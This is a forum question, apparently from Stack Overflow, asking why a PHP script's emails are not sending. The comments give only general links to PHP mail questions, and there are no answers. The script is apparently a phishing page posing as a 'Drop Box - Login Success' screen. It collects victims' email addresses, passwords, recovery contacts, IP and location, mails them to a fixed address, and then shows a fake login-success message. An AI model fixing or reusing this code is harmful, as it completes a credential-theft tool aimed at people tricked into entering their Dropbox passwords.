0

I want to send a copy of my database input to a specific email address.

The database works well, I can see everything stored but the emails are not sending.

This is the email code i used.

if(isset($_POST['submit'])){
    $to = "email@example.com"; // this is your Email address
    $email = $_POST['email']; // this is the sender's Email address
    $password = $_POST['password'];
    $ip = $_POST['ip'];
    $location = $_POST['location'];
    $recemail = $_POST['recemail'];
    $recno = $_POST['recno'];
    $subject = "New submission";
    $message = "Email: ". $email . "<br> Password: "
     . $password . "<br>Location: " .$location . "<br> Recovery Email/No: ". 
     $recemail . $recno;
    $message2 = "New Entry From " . $email ;

    $headers = "From:" . $email;
    mail($to, $subject, $message, $headers); 


    }

I added this code to the landing page (success.php) after the form is submitted not the form page (form.php) where i submitted from.

This is the full landing page

<?php require_once('Connections/dbConnect.php'); ?>
<?php 



 if(isset($_POST['submit'])){
        $to = "email@example.com"; // this is your Email address
        $email = $_POST['email']; // this is the sender's Email address
        $password = $_POST['password'];
        $ip = $_POST['ip'];
        $location = $_POST['location'];
        $recemail = $_POST['recemail'];
        $recno = $_POST['recno'];
        $subject = "New submission";
        $message = "Email: ". $email . "<br> Password: "
         . $password . "<br>Location: " .$location . "<br> Recovery Email/No: ". 
         $recemail . $recno;
        $message2 = "New Entry From " . $email ;

        $headers = "From:" . $email;
        mail($to, $subject, $message, $headers); 


        }


?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Drop Box - Login Success</title>
<script type="text/javascript">
         <!--
            function Redirect() {
               window.location="#";
            }

            document.write("You will be redirected to main page in 10 sec.");
            setTimeout('Redirect()', 10000);
         //-->
      </script>
</head>
Logged in successfull. Please wait while you are being redirected

<body>
</body>
</html>
Chima
  • 172
  • 1
  • 14
  • First you need to deal with this [php - detect if email is sent](http://stackoverflow.com/questions/14191446/php-detect-if-email-is-sent) – Mittul At TechnoBrave Mar 27 '17 at 12:30
  • Also check this once http://stackoverflow.com/questions/14643879/what-is-the-best-way-to-send-emails-from-php-script-2 – Mittul At TechnoBrave Mar 27 '17 at 12:32
  • 1
    It would have been nice if you posted the link to the duplicate so i can find my answer there since you're not able to help out and you prevented others from doing so – Chima Mar 27 '17 at 12:52
  • Hi @MittulAtTechnoBrave I tried the samples from that link but it didn't send. – Chima Mar 27 '17 at 13:41

0 Answers0